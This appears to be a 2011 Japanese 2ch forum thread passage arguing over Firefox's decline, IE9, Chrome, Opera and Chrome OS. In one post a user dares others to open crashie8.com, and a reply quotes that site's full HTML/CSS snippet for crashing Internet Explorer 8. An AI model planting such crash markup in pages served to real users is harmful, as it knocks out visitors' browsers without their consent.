運動ができず特段勉強ができるわけでも人気者でもない自分がメインストリームの人達を横目に休み時間机に俯せていた時に感じていたやるせなさ、
朝礼での表彰だとかトロフィーだとか優勝旗だとかに憧れながら無縁のままだった口惜しさ、そういった物から僕は解放されたような気がしていた。

僕は、僕を救ってくれたモノの事を、僕自身の存在意義をも仮託して支持するようになっていたのだと思う。

849 :名無しさん@お腹いっぱい。:2011/05/10(火) 16:44:01.31 ID:HM/tOUzu0
ただ、世間がFirefoxを評価していた最大の理由は、そういう事とは全く別の所にあったんだな。

世間が評価したのはあくまで、Ben GoodgerやDavid Hyattといった人達が「こういうブラウザがあったら使いやすくて便利なのに」と思って
スカンクワークス的にユーザ視点で作ったアプリケーションソフトウェアとしてのPhoenix、そしてその血を引くFirefoxだった。これは多分間違いない。

オープンソースだとかWeb標準だとかは、ある意味ではオマケの要素に過ぎなくて、ある意味では「今時そうであって当たり前だろ?」っていうレベルの話でしかない。
カスタマイズ性だって、別にFirefoxのやり方でなきゃいけなかったなんて事は全然無くて、
というかFirefoxのやり方(不安定且つドキュメント不在のAPIの山で、全てが個々人のアドオン開発者に丸投げ)なんて下策もいいとこで、
結果的に「フツーの人」や「ヘビーユーザ」が欲しい機能が手に入るのであれば、
それは安定したAPIと開発を支援する仕組みによって実現されるものであっても何ら問題ないどころか、そうであった方がユーザのためにも良い。

「必要なのはこの機能だ」「こんな機能は不要だ」といった判断を下して方針を定めて1つのビジョンの元に形作られたからこそ、
Firefoxには「使いやすくて便利だ」という分かりやすいメッセージが備わって、小難しい事になんか興味の無い普通の人にも受け入れてもらえてたんだと思う。

850 :名無しさん@お腹いっぱい。:2011/05/10(火) 16:45:03.00 ID:HM/tOUzu0
つまり、こういう事だ。「オープンソースでWeb標準」なMozillaが元々そこにあった。
その中から「便利なアプリ」のPhoenixそしてFirefoxが産まれてきて、その「便利なアプリ」に惹かれていろんな人が寄ってきた。
でもそのうちに「便利なアプリ」を作った中心人物達はMozillaを去って、AppleやらGoogleやらに行ってしまった。
そして彼らはそこでまた別の「便利なアプリ」を作り始めた。今またその「便利なアプリ」が新たにいろんな人の関心を集めている一方で、
「便利なアプリ」を産んだ中心人物達がいなくなったMozillaにはFirefoxには、多くの人の関心を集める材料たり得ない「オープンソースでWeb標準」という部分だけが残された。

「今まで使ってたFirefoxの新しいバージョンが入ったから使ってみたけど、重くてヤダ。これだったらGoogle Chromeっていうの? こっちの方がいいや。」
カジュアルにFirefoxを使い始めた人は、こうしてカジュアルにFirefoxから去って行っている。
今Firefoxについて行っているのは、その残された部分に元から惹かれていた僕のような酔狂な人間と、
Firefoxやそのアドオン(特にTab Mix Plusあたり)にロックインされて他に移れなくなってしまったドン詰まりの人間だけだったりするんじゃないのか。

さらに言うなら、前述した通りオープンソースもWeb標準もカスタマイズ性も今となっては「どのプレイヤーも備えていて当たり前の、最低限の要素」となっているのだとすれば、
Firefoxに残された部分にすら何ら特別な独自性は無いという事にはならないか?

851 :名無しさん@お腹いっぱい。:2011/05/10(火) 16:46:01.94 ID:HM/tOUzu0
他のプレイヤーが持ち得ない全く独自のカラー、進むべき道を指し示す分かりやすい「方針」「指針」を持てないと、Firefoxの衰退のスピードは加速する一方なのではないか。

Ben GoodgerらがPhoenixをスリムに作れたのは、彼らに「こういうものを作りたい」という思いがあったからというだけでなく、
スカンクワークスとして余計な横やりに晒される事無く初期の開発を進める事ができたからではないだろうか。
まだ世の中のどこにも無いまだ見ぬ「より良い物」を求めて最先端をひた走っていたからこそ、そういう事ができていたのではないか?
10年来の「Mozillaユーザ」といったしがらみに囚われて、船頭多くして船山に登りまくりになっているようにも見えるFirefoxが、
他の模倣・後追いではない独自の「最先端」を切り開いていく事は可能なのだろうか?

FirefoxボタンやApp Tabやステータスパネルといった新機能の導入は、OperaやChromeといった競合製品の猿真似に過ぎなかったりはしないか?
Microsummariesやプロファイルマネージャの廃止は、「アンケート調査の結果」という一見するともっともらしい数字を楯にした思考停止だったりはしないか?
受け身に徹していたりはしないか? そこにビジョンはあるのか? 一本筋の通ったストーリーはちゃんとあるのか?

852 :名無しさん@お腹いっぱい。:2011/05/10(火) 16:47:56.13 ID:HM/tOUzu0
……というかそもそもの話として、「進むべき方向が分からない。プロジェクトが生き残るために、進むべき道を定めなければ。」
なんて考え方をしてるなら、その時点でもう終わっちゃってるとも思う。
進みたい道があるから進む、その道を進むためにプロジェクトを立てる、それが当たり前のあり方だ。
組織の自己保全が目的となった組織の末路なんて、今更語るまでも無い。プロジェクトの自己保全が目的となったプロジェクトだなんて、一体何の冗談か。
プロジェクトとしての役割を果たし終えたのであれば、プロジェクトは解散しないといけない。

Netscapeのための「無償労働力集めの場」ではなくなったMozillaプロジェクトの目的は、一体何なのか。
その目的はまだ達成されきってなどいなくて、今も果たし続けなければならない物なのか。
The Mozilla Manifestoが「何かを言っているようで実は何も言っていない」言い訳などではないなら、ここから演繹される物がFirefoxの進む道なのだろう。

その道に、僕はどのように関われるのか。あるいは、どのように関われないのか。
もうすぐ三十路に突入する僕は、個人的な承認欲求が満たされるかどうかといった話に留まらず、仕事上での関わりも含めて、
いいかげん真面目に考えないといけないという気がしている。

853 :名無しさん@お腹いっぱい。:2011/05/10(火) 16:55:26.63 ID:fR/JK1tT0
>>845 自分のPC環境がすべてと感じる錯覚に気付こうな

854 :名無しさん@お腹いっぱい。:2011/05/10(火) 17:05:50.37 ID:O6yV4x++0
全文転載とか馬鹿のやること。

855 :名無しさん@お腹いっぱい。:2011/05/10(火) 17:08:00.42 ID:czNF9CTP0
>>843
それ、微妙じゃね?

>一方、スカイプは、期待度の高さのわりに業績はあまり芳しくない。
>2003年の創業以来8年間ほとんど純利益を出していない。
>世界中にビジネスを拡大しており、全体的な利益は依然把握しづらい状況だ。
>昨年の業績は、売上高は8億6000万ドル、営業利益は2億6400万ドルとなったものの、
>700万ドルの純損失を計上している。
>また昨年末時点の長期債務は6億8600万ドルとなっている。

このスカイプを、70億というちょっと高めの値段で買収しようとしたんだろ?
成功と呼ぶべきかどうか・・・


856 :名無しさん@お腹いっぱい。:2011/05/10(火) 17:09:37.02 ID:DKQWsWUq0
>>808にも愕然としたけど、これ知った時も失笑したよ…
これは不完全というより無意味
WCSなんか形骸で、やってる事がXPの頃と全く同じ

Internet Explorer9のカラマネは不完全ですよ
ttp://pixiv.cc/yam/archives/3718052.html

857 :名無しさん@お腹いっぱい。:2011/05/10(火) 17:16:29.40 ID:V40fi7xy0
>>845
GPU支援効いてるIE9の方が全然速いけど・・・
メインはChromeからIE9に乗り換えた。

858 :名無しさん@お腹いっぱい。:2011/05/10(火) 17:25:05.87 ID:czNF9CTP0
>>857
俺は逆に、 IE8 から IE9 に順当にアップデートしようと思ったが、
表示が変になるサイトが結構あったのと、
公平に思えるベンチマーク ttp://clients.futuremark.com/peacekeeper/index.action
で速度測ってみたらChrome の圧勝だったので、Chrome に乗り換えた。
実際、使ってみた体感速度でも Chrome の方がキビキビしてる感じがする。

IE 9 も別にそこまで悪くはなかったんだけど、機能拡張が面倒
(マウスジェスチャーやノートPC等との同期等)なのと、
プラグイン入れるととたんに重くなって、IE8 と大差ない感じだった。

859 :名無しさん@お腹いっぱい。:2011/05/10(火) 18:24:19.24 ID:czNF9CTP0
MS は日本人感情なんて全く考えてないな。

東芝、ビル・ゲイツ氏と次世代原子炉開発を検討(進行波炉)
http://www.afpbb.com/article/economy/2712240/5528408

860 :名無しさん@お腹いっぱい。:2011/05/10(火) 18:40:40.92 ID:8lSeBPdiP
Chromeの砂箱突破とかいよいよChrome価値なくなってきたな
速さ重視ならFirefox6でいいし

861 :名無しさん@お腹いっぱい。:2011/05/10(火) 18:57:45.76 ID:hPr6LhqO0
出せるFPSが段違いだからな、IE9は

まあ、バージョン間非互換は相変わらずの御家芸だけど

862 :名無しさん@お腹いっぱい。:2011/05/10(火) 19:27:20.30 ID:hDcfx0v8P
>>855
これは面白いことになるかもしれないよ。
買収額の問題ではなくて買収した事によって今後スカイプを含めたMS系コミュニティがどうかわっていくのかってあたりがね。
・MSは、WindowsLiveというコミュニティをすでに持っていて、昨年、大規模アップデートを行っている。
・昨年末よりWindowsLiveのブログ機能、ブログ最大手のWordpressへ移行させている。WindowsLive上からより密接なサービスとしてWordpressを使えるようになった。
・FacebookとHotmail(WindowsLive)が公式に連携する事が発表される。これによって他社のFacebookとの連携より高いサービスができるようになる。
・そして今回のスカイプの買収。

ネット上の主要なコミュニティは全てマイクロソフトのサービスとつながるようになる。
これで、スカイプ、Facebook、Wordpressといったサービスの横のつながりも一層強くなるんじゃないかな。
もしかしたら、今後、Windowsの標準サービスとして、これらのコミュニティと密接に連携する機能が搭載されるんじゃないのかな。

Googleも同じ事がやりたくてしょうがない感じだよね。
いろいろ作ってはサービス停止を繰り返してるのを見る限り。


863 :名無しさん@お腹いっぱい。:2011/05/10(火) 19:45:19.07 ID:hDcfx0v8P
そんなわけで、IEは、WindowsLiveのアカウントをアシストする機能もあるし
おすすめかもね

864 :名無しさん@お腹いっぱい。:2011/05/10(火) 19:56:16.58 ID:7tALrCgt0
Google Chrome終了のお知らせ
http://hato.2ch.net/test/read.cgi/morningcoffee/1305023650/

6 :名無し募集中。。。 :2011/05/10(火) 19:38:10.74 0
フランスのセキュリティ企業VUPENは9日、GoogleのChromeブラウザのハッキングに成功したと発表した。
http://www.youtube.com/watch?v=c8cQ0yU89sk
リモートでアプリが実行されてる
恐すぎ

865 :名無しさん@お腹いっぱい。:2011/05/10(火) 19:59:17.38 ID:x1vajIaK0
>>864
やっぱりクラックできないブラウザなんて存在しないんだな

866 :名無しさん@お腹いっぱい。:2011/05/10(火) 20:12:20.52 ID:GrYbaQdg0
そりゃ当然のこと
Pwn2Ownに出てた人のインタビューでも「iPhoneとかの方が簡単だから狙わないけど、Chromeもクラックできるよ」って言ってたし

867 :名無しさん@お腹いっぱい。:2011/05/10(火) 20:24:06.00 ID:vGD+vI280
Chromeがキビキビしてるって言ってる人の殆どはXPユーザーかな?
確かに起動は速いけど
IE9やFirefox4の方がブラウジング時の表示が速い

868 :名無しさん@お腹いっぱい。:2011/05/10(火) 20:29:02.06 ID:jbCJ1/7R0
情弱一本釣りブラウザGoogle Chromeへようこそ

869 :名無しさん@お腹いっぱい。:2011/05/10(火) 21:05:30.55 ID:HciGNBZf0
ま、確かに情弱にはとりあえず
Chrome使っとけって勧めてるわな
面倒臭いから

870 :名無しさん@お腹いっぱい。:2011/05/10(火) 21:09:56.90 ID:kpUAvWpI0
>>867
◆Chromeはページを全体的に展開するタイプなので
負荷による処理の衝突が集中的に起こって重くなる。
ウインドウ外で見えない部分は多少間引きさせるべき。


871 :名無しさん@お腹いっぱい。:2011/05/10(火) 21:14:10.56 ID:CEs5A8rk0
>>867
IE9は速いけどFireFoxはないわ
画像がたくさんあるページに来ると極端に遅くなる

872 :名無しさん@お腹いっぱい。:2011/05/10(火) 21:20:45.54 ID:vbLTU0hM0
Fx4にしてからやたらと反応なしになる
なんとかならんか
まぁホッファーでしか使わないんだが

873 :名無しさん@お腹いっぱい。:2011/05/10(火) 21:53:12.61 ID:vkyjWW6s0
>>869
それは正しいと思う
強制アップデートだから何も考えなくて良い
誰が使っても比較的セキュアになる

874 :名無しさん@お腹いっぱい。:2011/05/10(火) 21:59:40.29 ID:4WhkPVey0
>>869
ああ、それはわかる
自動アップデートだしそういう意味では都合がいい

875 :名無しさん@お腹いっぱい。:2011/05/10(火) 22:52:27.10 ID:DKQWsWUq0
>>869
ああ、それはわかる
自動個人情報収集だしそういう意味ではお似合い

876 :名無しさん@お腹いっぱい。:2011/05/10(火) 23:06:31.55 ID:eJq74hW60
IE 信者って、すぐ頭に血がのぼるのなw
定期的に IE9 まとめ を貼り付けると面白そうだ。

【IE9 の表示問題 - xhtml1.0 全般で問題が起こる。フォント指定すらバグ有り!?】
http://freesoft.tvbok.com/tips/net_tips/ie9_doctype.html
【IE9 はカラーマネージメント対応!しかし、sRGBモニタ前提】
http://pixiv.cc/yam/archives/3718052.html
【(IE8に比べて)早くなった!(IE8 に比べて)軽くなった!でも他ブラウザに追いついただけのIE9 】
http://code.google.com/apis/v8/run.html
http://www2.webkit.org/perf/sunspider-0.9/sunspider.html
http://krakenbenchmark.mozilla.org/index.html
http://dromaeo.com/ (jQuery作者も作成。時間がかかるのに注意。)
【3DMark で有名な futuremarkの総合ベンチマーク。ブラウザ戦争の平和の門番。】
http://clients.futuremark.com/peacekeeper/index.action
【IE9 x64 終了のお知らせ】
http://antivirus.server-ing.com/2011/04/29/757/
【もちろん最新バージョンのIE9 でも危ないIE9。いつも通り過ぎるので、誰も気に止めません。】
http://news.idg.no/cw/art.cfm?id=B028CAD3-1A64-6A71-CEB94E33CBDA3B3A
【対応OSが最も少ないIE9, IE10はVistaも非対応!?】
IE9: Vista, 7; IE8: Xp, Vista, 7
Fx10, Firefox, Chrome, Opera: XP, Vista, 7, Mac, Linux
【期待のIE9 でも、IE現象の流れは変わらず】
http://gs.statcounter.com/#browser-ww-daily-20100501-20110501
【実は、既にヨーロッパでは唯一の自慢だったシェアが1位で無くなっている件】
http://gs.statcounter.com/#browser-eu-daily-20100501-20110501
【Web標準規格への対応は・・・もちろん/(^o^)\】
http://html5test.com/results.html
【Web標準規格に対応しない結果がコレ。表示されませんか?それはIEだからです。】
http://www.iquilezles.org/apps/shadertoy/
【Firefox や Chrome から移行したいのですが、○○のアドオン有りますか?】
そんな情弱の使うツールなど知らん。
IE9 :「俺と勝負するときは、Microsoftのサイトに来い!相手してやるよ!」

877 :名無しさん@お腹いっぱい。:2011/05/11(水) 01:14:55.35 ID:y4c9kTmmP
>>876
がんばってリンク貼ってドヤ顔ですかぁ?

878 :名無しさん@お腹いっぱい。:2011/05/11(水) 11:39:10.50 ID:92Pw64V20
>>869
完全に同意
Firefoxのバージョンが上がっても
無理やり古いアドオン使うレベルのやつにもだな

リスクを認識した上で使う分には問題ない

879 :名無しさん@お腹いっぱい。:2011/05/11(水) 12:11:01.51 ID:0EcLThLP0
リスクって何?
情弱が調べもせずに聞いてくるとかか?
そんなもんしらねえから使えよ捗るぞって伝えておけよ

880 :名無しさん@お腹いっぱい。:2011/05/11(水) 13:47:32.93 ID:an3nOWYD0
日本のChromeダウンロードページの絵が痛すぎるな・・・
他国のは胡散臭い文と絵が無くてスッキリしてるのに
あんなキモイ絵あるの日本だけww

881 :名無しさん@お腹いっぱい。:2011/05/11(水) 14:57:22.51 ID:92Pw64V20
ぬりかべが入らないブラウザなんて論外なんだよ
この時点でIE、Opera、Safariは消える

882 :名無しさん@お腹いっぱい。:2011/05/11(水) 15:31:14.63 ID:PM28CL/r0
あのキモい絵はこんなうつろな目をした連中が使うブラウザってのを強調してるのかもしれないw
みんな目の焦点があってない

883 :名無しさん@お腹いっぱい。:2011/05/11(水) 15:34:34.06 ID:mkvkaknTP
>>881
あれってまだ盛んに交流されてるの?

884 :名無しさん@お腹いっぱい。:2011/05/11(水) 15:36:25.93 ID:9fmfHBrv0
Chrome 速すぎだろ。
ttp://www.youtube.com/watch?v=nCgQDjiotG0&feature=player_embedded

885 :名無しさん@お腹いっぱい。:2011/05/11(水) 16:17:00.96 ID:B5aQnhuJ0
884
ttp://www.youtube.com/watch?v=zaT7thTxyq8

886 :名無しさん@お腹いっぱい。:2011/05/11(水) 17:29:21.78 ID:92Pw64V20
>>883
個人的には今丁度良い交流具合
Firefox4がリリースされた時に、どっかのまとめサイトで
必須アドオンって紹介されて人が増えた

887 :名無しさん@お腹いっぱい。:2011/05/11(水) 18:24:34.22 ID:dgj83/lJP
なーにがぬりかべだよ
ただの2ch依存症じゃねーか

888 :名無しさん@お腹いっぱい。:2011/05/11(水) 18:43:52.56 ID:pcAcXCFQ0
>>887
うむ、サービス自体はよいんだが、2chを真似てしまったところが残念
もっと実用的なのがよかったんだが。

889 : 忍法帖【Lv=2,xxxP】 :2011/05/11(水) 22:11:09.12 ID:u10IjGuW0
ぬりかべなんてどうでもいいだろ
Opera最強

890 :名無しさん@お腹いっぱい。:2011/05/12(木) 01:20:29.83 ID:tS5PYPCG0
ぬりかべはやってんのか
面白い人が集まってるんかなあ

891 :名無しさん@お腹いっぱい。:2011/05/12(木) 01:30:31.52 ID:zZgrE/sh0
IE9はアドオンが壊滅的過ぎる
最低でもchromeぐらいないと
本体のガジェットも少ないし

892 :名無しさん@お腹いっぱい。:2011/05/12(木) 02:37:50.10 ID:Nr8Vu/Fi0
>>889
涙拭けよ

893 :名無しさん@お腹いっぱい。:2011/05/12(木) 02:42:16.97 ID:SxpmSisSP
>>891
そもそもアドオンなんて必要ないから
なくちゃ困るもんでもないし


894 :名無しさん@お腹いっぱい。:2011/05/12(木) 02:44:19.58 ID:kXFmfh810
せめてマウスジェスチャーくらいは欲しいだろ
ないのIE9だけ

895 :名無しさん@お腹いっぱい。:2011/05/12(木) 02:58:25.28 ID:7B25+vaW0
>>894
IE9でも使えるのあるよ。ちゃんとググってからレスしな。

896 :名無しさん@お腹いっぱい。:2011/05/12(木) 03:03:07.66 ID:kXFmfh810
どこにあんだよ
まさかかざぐるまうすとか言わないよな

897 :名無しさん@お腹いっぱい。:2011/05/12(木) 03:22:51.90 ID:B/obQvip0
マウスジェスチャー
広告排除ソフト
右クリックで複数エンジン使って検索
textlink
autocopy

凝ったもんはいらんから使い勝手を左右するソフトはどうしても外せない

chromeには全部ある

898 :名無しさん@お腹いっぱい。:2011/05/12(木) 03:25:55.00 ID:Nr8Vu/Fi0
Fxにも全部ある

899 :名無しさん@お腹いっぱい。:2011/05/12(木) 03:59:51.25 ID:B/obQvip0
Fxは言うまでもない

900 :名無しさん@お腹いっぱい。:2011/05/12(木) 05:44:12.17 ID:j9j4zVYj0
ていうか、IE だと同期がめんどくさい。


901 :名無しさん@お腹いっぱい。:2011/05/12(木) 06:48:36.64 ID:rntxYzVp0
FirefoxでWebページを保存すると和文の文章の途中で自動的に改行される。
改行は半角スペースとしてレンダリングされる。文章の品質が劣化する。
そんなことはOperaでは起きない。つまり、Opera最強伝説である。

902 :名無しさん@お腹いっぱい。:2011/05/12(木) 07:16:22.66 ID:XH6QDZqH0
Operaは最強過ぎて、なんだか怖いよ・・・

903 :名無しさん@お腹いっぱい。:2011/05/12(木) 07:41:29.50 ID:Y6h/vIrv0
Operaが最強というか、信者が最強だな

904 :名無しさん@お腹いっぱい。:2011/05/12(木) 07:52:20.25 ID:zp0ENXHB0
Opera信者って、やっぱり時間や知識がない人がなるものだと思うな。

Firefoxが最強だということはみんな分かっているが、
正直どんなカスタマイズをすれば一番使いやすいのかもわからない。
その点Operaはデフォルトでもかなり整っている。効率がいい。

そんで特に自分にだけ必要なアドオンをFirefoxで使用する。

905 :名無しさん@お腹いっぱい。:2011/05/12(木) 07:55:39.93 ID:vI09xpkV0
>>904
Firefox最強で ユーザが満足しているのであれば、
IE9 が発表された時に真っ先に飛びつくはずないだろ。
Opera は IE9 には振り向きもしなかったよ。

Opear最強。

906 :名無しさん@お腹いっぱい。:2011/05/12(木) 08:02:40.27 ID:udqSXbap0
FireFox使ってるやつは暇人なのは確かだな
バージョンアップごとにアドオン使えなくなってまた入れなおすとか
気が長くて暇人じゃなきゃやれないよ

907 :名無しさん@お腹いっぱい。:2011/05/12(木) 08:02:51.48 ID:zp0ENXHB0
>>905
IE9で流されたFirefoxユーザーなんて、雰囲気で使ってた奴だろ。
そんなアホウはどこにでもいるから仕方ないよ。最近は特にChromeが目に付くけどな。

Operaは説明書さえ読めば、カスタマイズしなくても、それなりに使わせてくれる。
時間がない人のためのブラウザ。俺の中ではそういう意味で最強。

908 :名無しさん@お腹いっぱい。:2011/05/12(木) 08:17:37.98 ID:vI09xpkV0
>>907
http://gs.statcounter.com/#browser-JP-daily-20100501-20110501
コレ見れば、Firefox ユーザが一番影響を受けたのは明らか。

Opera は全く被害なし。Opera最強。

909 :名無しさん@お腹いっぱい。:2011/05/12(木) 09:27:34.92 ID:rw6Z9aKP0
通常はFirefoxで
一部のブラゲはChromeで
FeliCaポート関連はIEで
著作権的な心配の薄い海外流通のエロ動画TorrentダウソはOperaで

910 :名無しさん@お腹いっぱい。:2011/05/12(木) 10:22:36.19 ID:gQch0Chw0
【IT】Firefox 4、ブラウザシェアの10%を突破 日本での総ダウンロード数は300万越 [11/05/11]
http://toki.2ch.net/test/read.cgi/bizplus/1305127028/

911 :名無しさん@お腹いっぱい。:2011/05/12(木) 10:26:26.04 ID:gQch0Chw0
Opera 擬人化(?)コンテスト…
http://orera.g.hatena.ne.jp/edvakf/20110426/1303853627
中華版おぺら娘が決定☆
http://orera.g.hatena.ne.jp/edvakf/20110506/1304685961

http://f.hatena.ne.jp/images/fotolife/e/edvakf/20110507/20110507055822.jpg
http://cdn-ak.f.st-hatena.com/images/fotolife/e/edvakf/20110507/20110507055525.jpg
http://f.hatena.ne.jp/images/fotolife/e/edvakf/20110427/20110427060220.png
http://f.hatena.ne.jp/images/fotolife/e/edvakf/20110507/20110507055122.jpg

912 :名無しさん@お腹いっぱい。:2011/05/12(木) 10:48:06.32 ID:JIfZRERZ0
「絶対領域」ってあっちでも絶対領域なんだな…

913 :名無しさん@お腹いっぱい。:2011/05/12(木) 12:45:56.02 ID:HDd2dOds0
operaって良くも悪くも唯一無二だよな
なんか凄く独特なブラウザ

914 : 忍法帖【Lv=3,xxxP】 :2011/05/12(木) 14:43:10.31 ID:wFSnf9j+0
マウスジェスチャ初めて見て感動した時が懐かしい

>>911 おれは結構好きだな

Chrome派ですけどね

915 :名無しさん@お腹いっぱい。:2011/05/12(木) 15:19:03.96 ID:vI09xpkV0
http://crashie8.com/
見れなかったらゴミブラウザ決定。

916 :名無しさん@お腹いっぱい。:2011/05/12(木) 16:13:58.59 ID:1Zbt0LM40
>>915
The following code will crash Internet Explorer. Although clearer proper HTML
would not cause this issue, such could should at worst result in a poorly
formatted page, not a full program crash.
****
<html><head>
<style type="text/css">
#a {
margin:0 10px 10px;
}

#b {
width:100%;
}

</style>
<title>IE Crasher</title>
</head>
<body>
<table><tr><td>
<div id="a">
<form id="b">
<input type="text" name="test"/>
</div>
</td><td width="1"></td></tr></table>
</body></html>

よくわからんけどIEショボすぎるな。

さていつものURL。みんな見れるかな?
ttp://dino206.blog.hobidas.com/archives/category/1712.html

917 :名無しさん@お腹いっぱい。:2011/05/12(木) 16:49:05.67 ID:vI09xpkV0
>>916
余裕で見れるな。@Chrome,Firefox,Opera,IE

918 :名無しさん@お腹いっぱい。:2011/05/12(木) 16:52:52.17 ID:vI09xpkV0
>>917
あ、もしかして、ttp://dino206.blog.hobidas.com/archives/category/1712.html
って、autopatch系じゃなくて、単に長いとか?
で、IE で最後まで見れなかったり?w

919 :名無しさん@お腹いっぱい。:2011/05/12(木) 17:04:32.60 ID:/v2uvii60
最後が2009年08月13日でOK?
46Mってw

Opera,IE6両方で見られた。

920 :名無しさん@お腹いっぱい。:2011/05/12(木) 17:32:44.67 ID:1sacy9oZ0
>>916
狐4は見ることが何とかできたが、Ironは強制終了したよw
アドオンもあまり入れてないんだがなぁ

921 :名無しさん@お腹いっぱい。:2011/05/12(木) 17:44:16.47 ID:skAMeZ1YP
お前らPCいじめて何が楽しいんだよ

922 :名無しさん@お腹いっぱい。:2011/05/12(木) 17:51:21.44 ID:B2CVJVR+O
クロム新しいタブのページがアプリの大きな可愛いアイコン並べられる斬新なデザインに変わったと思ったら今度はとうとうクロムos搭載PCが…
Googleさんが本気出して来た
windowsピーンチ!

923 :名無しさん@お腹いっぱい。:2011/05/12(木) 17:52:57.99 ID:BjnZx+Z00
スタンドアロンで作業できないものなんて遊びに使う以外の使い道なんてないよw

924 :名無しさん@お腹いっぱい。:2011/05/12(木) 17:57:28.96 ID:skAMeZ1YP
劣化Ubuntuごときでwin死ぬならとっくのとうに死んでるぞ

925 :名無しさん@お腹いっぱい。:2011/05/12(木) 18:26:50.41 ID:1Zbt0LM40
Googleが宣伝し、「サポートする」ことは大きい。
だが何度考えてみてもWebアプリが普及するとは思えんのだが…。

926 :名無しさん@お腹いっぱい。:2011/05/12(木) 18:54:34.48 ID:B2CVJVR+O
HDDが入って無いんだってクロムブック。斬新だなあ
確かに音楽クラウドサービスが始まればクロムとGoogleさん神webアプリ使えば一般人が利用するには大抵の事は出来てしまう。しかも速く
Googleさん恐るべし

927 :名無しさん@お腹いっぱい。:2011/05/12(木) 19:04:23.24 ID:IjLy3Jiy0
      r ‐、
      | ○ |         r‐‐、
     _,;ト - イ、      ∧l☆│∧     良い子の諸君!
    (⌒`    ⌒ヽ   /,、,,ト.-イ/,、 l  
    |ヽ   ~~⌒γ ⌒ ) r'⌒ `!´ `⌒)    よく頭のおかしい技術者やデザイナー気取りのバカが
   │ ヽー ―'^ー-'  ( ⌒γ ⌒~~ /    「誰もやらなかった事に挑戦する」とほざくが
   │  〉    |│  |`ー^ー― r' |      大抵それは「先人が思いついたけどあえてやらなかった」ことだ。
   │ /───| |  |/ |  l  ト、 |      基礎が何故大切か理解できない人間にまともな商品は開発できないぞ!
   |  irー-、 ー ,} |    /     i
   | /   `X´ ヽ    /   入  |

928 :名無しさん@お腹いっぱい。:2011/05/12(木) 20:19:40.46 ID:RsdX7ImH0
>>926
早い回線があればな
日本国内でだってISDNでしか使えない地域は未だある
海外に出張で持って行こうものなら・・・
出張先によっては荷物にしかなりえない
仕事では使えないから遊び専用だな

929 :名無しさん@お腹いっぱい。:2011/05/12(木) 20:23:50.89 ID:1Zbt0LM40
>>928
そういう話じゃないんじゃないか。
Googleはオフラインアプリもブラウザでやればいいと思っている。
ネットに接続してなくてもGoogleDocsやGmailはブラウザ上で動く。
そしてネットに接続したときに通信をする。

930 :名無しさん@お腹いっぱい。:2011/05/12(木) 20:42:43.28 ID:gXg+n/FA0
そんな妙なものは仕事では使わんだろう
オモチャで終わるよ

931 :名無しさん@お腹いっぱい。:2011/05/12(木) 20:53:05.67 ID:M6vHxkbL0
実際に発売されてから半年〜一年経過すればわかるさ

932 :名無しさん@お腹いっぱい。:2011/05/12(木) 21:22:24.52 ID:1Zbt0LM40
通常アプリのコードはわからない。
一方Webアプリは、外のコードを読み込み実行する。
このコードは誰でも見れるので商品価値はない。

つまり、アプリ開発者たる者は、みんな秘密の鯖を用意する時代の到来ですか。
1アプリ1鯖 きもいなぁ

933 :名無しさん@お腹いっぱい。:2011/05/12(木) 21:33:10.63 ID:5gQFjhCl0
Chrome OSは、ローカルアプリ化も排したクラウドを目指していたのに
アプリケーション部分をローカルに保持するオフラインモードを作った。

結局、機能を犠牲にしてブラウザに閉じ込める事で、あらゆる人間に首輪を付ける術を手に入れてるだけ。
ちゃちなアプリがブラウザ上で動くという特徴以外、既存のOSから何ら次元に変化がない。
スッカラカンで身軽になった、らくらくOS。

934 :名無しさん@お腹いっぱい。:2011/05/12(木) 21:38:25.91 ID:AH1I/2cx0
人柱のレビュー次第だな
Windowsの牙城を突き崩す威力があるとは思えないけど

935 :名無しさん@お腹いっぱい。:2011/05/12(木) 22:04:12.85 ID:/Nsvttk20
クラウドは日本人の気質に合わないと思う

936 :名無しさん@お腹いっぱい。:2011/05/12(木) 22:08:21.81 ID:BjnZx+Z00
Facebookみたいな無防備なものは日本では普及しないからな
mixiですら飽きられてるし

937 : 忍法帖【Lv=3,xxxP】 :2011/05/12(木) 22:17:49.26 ID:vVlAtjOS0
「WebGL」にセキュリティ問題、規格自体の大規模な修正が必要に? - スラッシュドット・ジャパン
ttp://slashdot.jp/security/article.pl?sid=11/05/12/0659251

938 :名無しさん@お腹いっぱい。:2011/05/12(木) 22:37:16.28 ID:M6vHxkbL0
やはりWebGLなんて糞規格に対応する必要はなかったな
ChromeとかFirefoxの開発者は欠陥規格も見抜けない奴らか

939 :名無しさん@お腹いっぱい。:2011/05/12(木) 23:31:22.71 ID:rdyCwreJ0
>>933
まあ、クラウド”専用”なんてオナニー以外の何物でも無いからな
オンプレミスとクラウドは補完関係にある
両方使えるOSでなければ生き残れない
そしてオンプレミスに強いOSは当然、クラウドも不自由なく扱える

940 :名無しさん@お腹いっぱい。:2011/05/13(金) 00:21:57.70 ID:tsfBho3sP
最近いたるところで個人情報流出祭りやってんのにクラウドとか

941 :名無しさん@お腹いっぱい。:2011/05/13(金) 00:26:07.51 ID:MdaK+9Zn0
震災でクラウド依存は危険だと感じた

942 :名無しさん@お腹いっぱい。:2011/05/13(金) 00:28:01.41 ID:V9Q7Pua/0
どうも様子が現実とネットの評判じゃ違うのが怪しいんだよな
アメリカなんかではクラウド離れしていて
必要な時に必要なコンテンツを落としてなるべくオフラインで見る傾向なのにさ

943 :名無しさん@お腹いっぱい。:2011/05/13(金) 00:49:31.78 ID:jba4qnQU0
>>937
ATI や NVidia , Intel の GPU 使ってれば特に問題ないぽい。
クロスドメインの画像を何時間もかけて盗めるかどうか、ってことだけ。

944 :名無しさん@お腹いっぱい。:2011/05/13(金) 00:55:36.20 ID:z5hwLxmJ0
<誰でも分かる、 IE9 まとめ>
【IE9 の表示問題 - xhtml1.0 全般で問題が起こる。フォント指定すらバグ有り!?】
http://freesoft.tvbok.com/tips/net_tips/ie9_doctype.html
【IE9 はカラーマネージメント対応!しかし、sRGBモニタ前提】
http://pixiv.cc/yam/archives/3718052.html
【(IE8に比べて)速くなった!(IE8 に比べて)軽くなった!でも他ブラウザに追いついただけのIE9 】
http://code.google.com/apis/v8/run.html
http://www2.webkit.org/perf/sunspider-0.9/sunspider.html
http://krakenbenchmark.mozilla.org/index.html
http://dromaeo.com/ (jQuery作者も作成。時間がかかるのに注意。)
【3DMark で有名な futuremarkの総合ベンチマーク。ブラウザ戦争の平和の門番。】
http://clients.futuremark.com/peacekeeper/index.action
【IE9 x64 終了のお知らせ】
http://antivirus.server-ing.com/2011/04/29/757/
